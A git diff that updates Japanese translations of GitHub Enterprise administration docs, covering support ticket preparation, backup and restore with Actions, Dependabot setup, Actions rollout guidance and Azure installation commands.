   - /enterprise/admin/enterprise-support/receiving-help-from-github-support
diff --git a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket.md b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket.md
index 4cbfef96b4..d1ebf15533 100644
--- a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket.md
+++ b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to submit a ticket
-intro: 'You can expedite your issue with {% data variables.contact.enterprise_support %} by following these suggestions before you open a support ticket.'
+title: チケットのサブミットの準備
+intro: 'サポートチケットを開く前にこれらの推奨事項に従うと、{% data variables.contact.enterprise_support %} で問題解決を迅速に行うことができます。'
 redirect_from:
   - /enterprise/admin/enterprise-support/preparing-to-submit-a-ticket
   - /admin/enterprise-support/preparing-to-submit-a-ticket
@@ -13,20 +13,21 @@ topics:
   - Support
 shortTitle: Prepare a ticket
 ---
-Before submitting a ticket, you should:
 
-- Obtain information that can help {% data variables.contact.github_support %} track, prioritize, reproduce, or investigate the issue.
-- Reproduce the issue if applicable and be prepared to share the steps.
-- Be prepared to provide a full description of the issue and expected results.
-- Copy exact wording of all error messages related to your issue.
-- Determine if there is an existing ticket number in any ongoing communications with {% data variables.contact.github_support %}.
-- Determine the best person to contact {% data variables.contact.github_support %}.
+チケットをサブミットする前に以下の作業を済ませておいてください。
 
-## Choosing a contact person
+- {% data variables.contact.github_support %} による問題の追跡、優先順位付け、再現、調査を支援する情報の取得
+- 可能であれば問題を再現し、問題発生の手順を共有できるようにしてください。
+- 問題の詳細な説明と期待される結果を提供できるように準備してください。
+- 問題に関連するすべてのエラーメッセージをそのままコピーしてください。
+- {% data variables.contact.github_support %} との進行中のやりとりがあれば、既存のチケット番号があるかを確認してください。
+- {% data variables.contact.github_support %} と連絡を取り合うのに適した人を決めてください。
 
-Especially for tickets with {% data variables.product.support_ticket_priority_urgent %} priority, the person contacting {% data variables.contact.github_support %} should:
+## 担当者の選択
 
- - Be knowledgeable in your internal systems, tools, policies, and practices.
- - Be a proficient user of {% data variables.product.product_name %}.
- - Have full access and permissions to any services that are required to troubleshoot the issue.
- - Be authorized to make the recommended changes to your network and any applicable products.
+特にチケットの優先度が {% data variables.product.support_ticket_priority_urgent %} の場合、{% data variables.contact.github_support %} に問い合わせるユーザは、次のことを確認してください。
+
+ - 社内のシステム、ツール、ポリシー、実務をよく知っていること。
+ - {% data variables.product.product_name %} に熟練したユーザであること。
+ - 問題のトラブルシューティングに必要なすべてのサービスへの完全なアクセスと権限を持っていること。
+ - 推奨された変更をネットワーク及び該当する製品に行う権限を持っていること。
diff --git a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
index 203f3fa1fb..6bc670a8b4 100644
--- a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
+++ b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
@@ -1,7 +1,7 @@
 ---
-title: Backing up and restoring GitHub Enterprise Server with GitHub Actions enabled
-shortTitle: Backing up and restoring
-intro: '{% data variables.product.prodname_actions %} data on your external storage provider is not included in regular {% data variables.product.prodname_ghe_server %} backups, and must be backed up separately.'
+title: GitHub Actions を有効化して GitHub Enterprise Server をバックアップおよび復元する
+shortTitle: バックアップと復元
+intro: '外部ストレージプロバイダの {% data variables.product.prodname_actions %} データは、通常の {% data variables.product.prodname_ghe_server %} バックアップに含まれていないため、個別にバックアップする必要があります。'
 versions:
   ghes: '*'
 type: how_to
@@ -13,16 +13,17 @@ topics:
 redirect_from:
   - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled
 ---
+
 {% data reusables.actions.enterprise-storage-ha-backups %}
 
-If you use {% data variables.product.prodname_enterprise_backup_utilities %} to back up {% data variables.product.product_location %}, it's important to note that {% data variables.product.prodname_actions %} data stored on your external storage provider is not included in the backup.
+{% data variables.product.prodname_enterprise_backup_utilities %} を使用して {% data variables.product.product_location %} をバックアップする場合、外部ストレージプロバイダに保存されている {% data variables.product.prodname_actions %} データはバックアップに含まれないことにご注意ください。
 
-This is an overview of the steps required to restore {% data variables.product.product_location %} with {% data variables.product.prodname_actions %} to a new appliance:
+以下は、{% data variables.product.product_location %} と {% data variables.product.prodname_actions %} を新しいアプライアンスに復元するために必要なステップの概要です。
 
-1. Confirm that the original appliance is offline.
-1. Manually configure network settings on the replacement {% data variables.product.prodname_ghe_server %} appliance. Network settings are excluded from the backup snapshot, and are not overwritten by `ghe-restore`.
+1. 元のアプライアンスがオフラインであることを確認します。
+1. 交換用の {% data variables.product.prodname_ghe_server %} アプライアンスでネットワーク設定を手動設定します。 ネットワーク設定はバックアップスナップショットから除外され、`ghe-restore` で上書きされません。
 1. To configure the replacement appliance to use the same {% data variables.product.prodname_actions %} external storage configuration as the original appliance, from the new appliance, set the required parameters with `ghe-config` command.
-    
+
     - Azure Blob Storage
     ```shell
     ghe-config secrets.actions.storage.blob-provider "azure"
@@ -40,16 +41,16 @@ This is an overview of the steps required to restore {% data variables.product.p
     ```shell
     ghe-config secrets.actions.storage.s3.force-path-style true
     ```
-      
 
-1. Enable {% data variables.product.prodname_actions %} on the replacement appliance. This will connect the replacement appliance to the same  external storage for {% data variables.product.prodname_actions %}.
+
+1. 交換用アプライアンスで {% data variables.product.prodname_actions %} を有効化します。 これにより、交換用アプライアンスが {% data variables.product.prodname_actions %} の同じ外部ストレージに接続されます。
 
     ```shell
     ghe-config app.actions.enabled true
     ghe-config-apply
     ```
 
-1. After {% data variables.product.prodname_actions %} is configured and enabled, use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)."
-1. Re-register your self-hosted runners on the replacement appliance. For more information, see [Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners).
+1. After {% data variables.product.prodname_actions %} is configured and enabled, use the `ghe-restore` command to restore the rest of the data from the backup. 詳しい情報については、「[バックアップを復元する](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)」を参照してください。
+1. セルフホストランナーを交換用アプライアンスに再登録します。 詳しい情報については、「[セルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。
 
-For more information on backing up and restoring {% data variables.product.prodname_ghe_server %}, see "[Configuring backups on your appliance](/admin/configuration/configuring-backups-on-your-appliance)."
+{% data variables.product.prodname_ghe_server %} のバックアップと復元の詳細については、「[アプライアンスでバックアップを設定する](/admin/configuration/configuring-backups-on-your-appliance)」を参照してください。
diff --git a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
index 5ebd02f920..936c7024f1 100644
--- a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
+++ b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
@@ -21,13 +21,13 @@ shortTitle: Set up Dependabot updates
 
 {% endtip %}
 
-## About {% data variables.product.prodname_dependabot %} updates
+## {% data variables.product.prodname_dependabot %}のアップデートについて
 
 When you set up {% data variables.product.prodname_dependabot %} security and version updates for {% data variables.product.product_location %}, users can configure repositories so that their dependencies are updated and kept secure automatically. This is an important step in helping developers create and maintain secure code.
 
 Users can set up {% data variables.product.prodname_dependabot %} to create pull requests to update their dependencies using two features.
 
-- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)."
+- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. 詳しい情報については「[{% data variables.product.prodname_dependabot_version_updates %}について](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)」を参照してください。
 - **{% data variables.product.prodname_dependabot_security_updates %}**: Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
 
 ## Prerequisites for {% data variables.product.prodname_dependabot %} updates
@@ -71,7 +71,7 @@ If you specify more than 14 concurrent runners on a VM, you must also update the
 
 ### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates
 
-1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+1. Provision self-hosted runners, at the repository, organization, or enterprise account level. 詳しい情報については、「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」および「[セルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。
 
 2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would:
 
diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
index 7a7069a145..10d115294f 100644
--- a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
+++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
 title: Getting started with GitHub Actions for your enterprise
-intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise."
+intro: 'Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -14,6 +14,6 @@ children:
   - /getting-started-with-github-actions-for-github-enterprise-cloud
   - /getting-started-with-github-actions-for-github-enterprise-server
   - /getting-started-with-github-actions-for-github-ae
-shortTitle: Get started
+shortTitle: 始めましょう！
 ---
 
diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
index 126b397d3a..f0f28b2088 100644
--- a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
+++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
 title: Introducing GitHub Actions to your enterprise
 shortTitle: Introduce Actions
-intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise."
+intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -38,9 +38,9 @@ Consider combining OpenID Connect (OIDC) with reusable workflows to enforce cons
 
 You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %}
 
-![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+![監査ログのエントリ](/assets/images/help/repository/audit-log-entries.png)
 
-## Security
+## セキュリティ
 
 You should plan your approach to security hardening for {% data variables.product.prodname_actions %}.
 
@@ -80,7 +80,7 @@ Whenever your workflow developers want to use an action that's stored in a priva
 
 You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}.
 
-### Runners
+### ランナー
 
 {% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
 
@@ -94,7 +94,7 @@ You should consider using autoscaling to automatically increase or decrease the
 
 Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
 
-### Storage
+### ストレージ
 
 {% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)."
 
@@ -113,7 +113,7 @@ You must configure external blob storage for these artifacts. Decide which suppo
 If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data.
 
 {% ifversion ghec %}
-Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. 詳しい情報については、「[{% data variables.product.prodname_actions %}の支払いについて](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)」を参照してください。
 {% endif %}
 
 ## Tracking usage
diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
index 2936f4d27f..4a897cf910 100644
--- a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
+++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
@@ -1,7 +1,7 @@
 ---
 title: Migrating your enterprise to GitHub Actions
 shortTitle: Migrate to Actions
-intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider."
+intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -60,7 +60,7 @@ Determine the migration approach that will work best for your enterprise. Smalle
 
 We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
 
-Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. 
+Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired.
 
 Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
 
diff --git a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
index ce67a6d17e..3d3592b3ed 100644
--- a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
+++ b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to actions from GitHub.com
-intro: 'Controlling which actions on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %} can be used in your enterprise.'
+title: GitHub.com からのアクションへのアクセスを管理する
+intro: '{% data variables.product.prodname_dotcom_the_website %} および {% data variables.product.prodname_marketplace %} で Enterprise で使用できるアクションを制御します。'
 redirect_from:
   - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom
 versions:
diff --git a/translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
index 5228957db1..6815fa736c 100644
--- a/translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
+++ b/translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
@@ -13,13 +13,13 @@ shortTitle: Use actions
 ---
 
 
-{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+{% data variables.product.prodname_actions %} ワークフローは_アクション_を使用できます。アクションは、ジョブを作成してワークフローをカスタマイズするために組み合わせることができる個々のタスクです。 独自のアクションの作成、または {% data variables.product.prodname_dotcom %} コミュニティによって共有されるアクションの使用やカスタマイズができます。
 
-## Official actions bundled with {% data variables.product.prodname_ghe_managed %}
+## {% data variables.product.prodname_ghe_managed %} にバンドルされている公式アクション
 
-Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.prodname_ghe_managed %}, and are captured at a point in time from {% data variables.product.prodname_marketplace %}. When your {% data variables.product.prodname_ghe_managed %} instance is updated, the bundled official actions are also updated.
+ほとんどの公式の {% data variables.product.prodname_dotcom %} 作成のアクションは自動的に {% data variables.product.prodname_ghe_managed %} にバンドルされ、{% data variables.product.prodname_marketplace %} からある時点でキャプチャされます。 {% data variables.product.prodname_ghe_managed %} インスタンスが更新されると、バンドルされている公式アクションも更新されます。
 
-The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see which of the official actions are included, browse to the following organizations on your instance: 
+バンドルされている公式アクションには、`actions/checkout`, `actions/upload-artifact`、`actions/download-artifact`、`actions/labeler`、さまざまな `actions/setup-` などが含まれます。 To see which of the official actions are included, browse to the following organizations on your instance:
 - <code>https://<em>HOSTNAME</em>/actions</code>
 - <code>https://<em>HOSTNAME</em>/github</code>
 
diff --git a/translations/ja-JP/content/admin/guides.md b/translations/ja-JP/content/admin/guides.md
index c8b10f2083..488b35c461 100644
--- a/translations/ja-JP/content/admin/guides.md
+++ b/translations/ja-JP/content/admin/guides.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Enterprise guides
-shortTitle: Guides
+shortTitle: ガイド
 intro: 'Learn how to increase developer productivity and code quality with {% data variables.product.product_name %}.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
@@ -13,7 +13,7 @@ learningTracks:
   - '{% ifversion ghae %}get_started_with_github_ae{% endif %}'
   - '{% ifversion ghes %}deploy_an_instance{% endif %}'
   - '{% ifversion ghes %}upgrade_your_instance{% endif %}'
-  -  adopting_github_actions_for_your_enterprise
+  - adopting_github_actions_for_your_enterprise
   - '{% ifversion ghes %}increase_fault_tolerance{% endif %}'
   - '{% ifversion ghes %}improve_security_of_your_instance{% endif %}'
   - '{% ifversion ghes > 2.22 %}configure_github_actions{% endif %}'
diff --git a/translations/ja-JP/content/admin/installation/index.md b/translations/ja-JP/content/admin/installation/index.md
index 385c4412e7..f7b134df36 100644
--- a/translations/ja-JP/content/admin/installation/index.md
+++ b/translations/ja-JP/content/admin/installation/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Installing {% data variables.product.prodname_enterprise %}'
-shortTitle: Installing
-intro: 'System administrators and operations and security specialists can install {% data variables.product.prodname_ghe_server %}.'
+title: '{% data variables.product.prodname_enterprise %}のインストール'
+shortTitle: インストール
+intro: 'システム管理者、運用およびセキュリティスペシャリストは、{% data variables.product.prodname_ghe_server %} をインストールできます。'
 redirect_from:
   - /enterprise/admin-guide
   - /enterprise/admin/guides/installation
@@ -19,8 +19,9 @@ topics:
 children:
   - /setting-up-a-github-enterprise-server-instance
 ---
-For more information, or to purchase {% data variables.product.prodname_enterprise %}, see [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
+
+詳しい情報または {% data variables.product.prodname_enterprise %} の購入については [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise) を参照してください。
 
 {% data reusables.enterprise_installation.request-a-trial %}
 
-If you have questions about the installation process, see "[Working with {% data variables.product.prodname_enterprise %} Support](/enterprise/admin/guides/enterprise-support/)."
+インストールプロセスについて質問がある場合は、「[{% data variables.product.prodname_enterprise %} Support への相談](/enterprise/admin/guides/enterprise-support/)」を参照してください。
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
index c1df769365..75df202615 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Enterprise Server instance
-intro: 'You can install {% data variables.product.prodname_ghe_server %} on the supported virtualization platform of your choice.'
+title: GitHub Enterprise Server インスタンスをセットアップする
+intro: 'サポートされている任意の仮想化プラットフォームに、{% data variables.product.prodname_ghe_server %} をインストールできます。'
 redirect_from:
   - /enterprise/admin/installation/getting-started-with-github-enterprise-server
   - /enterprise/admin/guides/installation/supported-platforms
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
index 748685a4e0..25b78cca2d 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Azure
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a DS-series instance and use Premium-LRS storage.'
+title: Azure で GitHub Enterprise Server をインストールする
+intro: 'Azure に {% data variables.product.prodname_ghe_server %} をインストールするには、DS シリーズのインスタンスにデプロイし、Premium-LRS ストレージを使用する必要があります。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure
   - /enterprise/admin/installation/installing-github-enterprise-server-on-azure
@@ -15,56 +15,57 @@ topics:
   - Set up
 shortTitle: Install on Azure
 ---
-You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government.
 
-## Prerequisites
+{% data variables.product.prodname_ghe_server %} をグローバル Azure または Azure Government にデプロイできます。
+
+## 必要な環境
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com).
-- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
+- 新しいコンピューターをプロビジョニングできる Azure アカウントを所有していなければなりません。 詳しい情報については [Microsoft Azure のウェブサイト](https://azure.microsoft.com)を参照してください。
+- 仮想マシン（VM）を起動するのに必要なアクションのほとんどは、Azureポータルを使っても行えます。 とはいえ、初期セットアップ用にはAzureコマンドラインインターフェース（CLI）をインストールすることをお勧めします。 以下の例では、Azure CLI 2.0が使われています。 詳しい情報については、Azure のガイド「[Azure CLI 2.0 のインストール](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)」を参照してください。
 
-## Hardware considerations
+## ハードウェアについて
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the virtual machine type
+## 仮想マシンタイプの決定
 
-Before launching {% data variables.product.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Azure で{% data variables.product.product_location %} を起動する前に、Organization のニーズに最適なマシンタイプを決定する必要があります。 {% data variables.product.product_name %} の最小要件を確認するには、「[最小要件](#minimum-requirements)」を参照してください。
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
 {% data reusables.enterprise_installation.azure-instance-recommendation %}
 
-## Creating the {% data variables.product.prodname_ghe_server %} virtual machine
+## {% data variables.product.prodname_ghe_server %} 仮想マシンを作成する
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[az vm image list](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation.
+1. 最新の {% data variables.product.prodname_ghe_server %} アプライアンスイメージを見つけます。 `vm image list` コマンドの詳細については、Microsoft のドキュメントの「[az vm image list](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)」を参照してください。
   ```shell
   $ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V
   ```
 
-2. Create a new VM using the appliance image you found. For more information, see "[az vm create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation.
+2. 見つけたアプライアンスイメージを使用して新しい VM を作成します。 詳しい情報については、Microsoftドキュメンテーションの「[az vm create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)」を参照してください。
 
-  Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation.
+  VM の名前、リソースグループ、VM のサイズ、優先する Azure リージョンの名前、前の手順でリストしたアプライアンスイメージ VM の名前、およびプレミアムストレージ用のストレージ SKU についてのオプションを渡します。 リソースグループに関する詳しい情報については、Microsoft ドキュメンテーションの「[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)」を参照してください。
 
   ```shell
   $ az vm create -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --size <em>VM_SIZE</em> -l <em>REGION</em> --image <em>APPLIANCE_IMAGE_NAME</em> --storage-sku Premium_LRS
   ```
 
-3. Configure the security settings on your VM to open up required ports. For more information, see "[az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open.
+3. 必要なポートを開くように VM でセキュリティを設定します。 詳しい情報については、Microsoft ドキュメンテーションの「[az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)」を参照してください。 どのポートを開く必要があるかを判断するための各ポートの説明については、以下の表を参照してください。
 
   ```shell
   $ az vm open-port -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --port <em>PORT_NUMBER</em>
   ```
 
-  This table identifies what each port is used for.
+  次の表に、各ポートの使用目的を示します
 
   {% data reusables.enterprise_installation.necessary_ports %}
 
 4. Create and attach a new managed data disk to the VM, and configure the size based on your license count. All Azure managed disks created since June 10, 2017 are encrypted at rest by default with Storage Service Encryption (SSE). For more information about the `az vm disk attach` command, see "[az vm disk attach](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation.
 
-  Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `100`), and a name for the resulting VHD.
+  VM の名前 (`ghe-acme-corp` など)、リソースグループ、プレミアムストレージ SKU、ディスクのサイズ (`100` など)、および作成する VHD の名前についてのオプションを渡します。
 
   ```shell
   $ az vm disk attach --vm-name <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --sku Premium_LRS --new -z <em>SIZE_IN_GB</em> --name ghe-data.vhd --caching ReadWrite
@@ -72,33 +73,33 @@ Before launching {% data variables.product.product_location %} on Azure, you'll
 
   {% note %}
 
-   **Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 40 GiB with read/write cache enabled (`--caching ReadWrite`).
+   **注釈:** 働状態ではないインスタンスで、十分なI/Oスループットを得るために推奨される最小ディスクサイズは、読み書きキャッシュを有効にした状態 (`--caching ReadWrite`) で 40 GiB です。
 
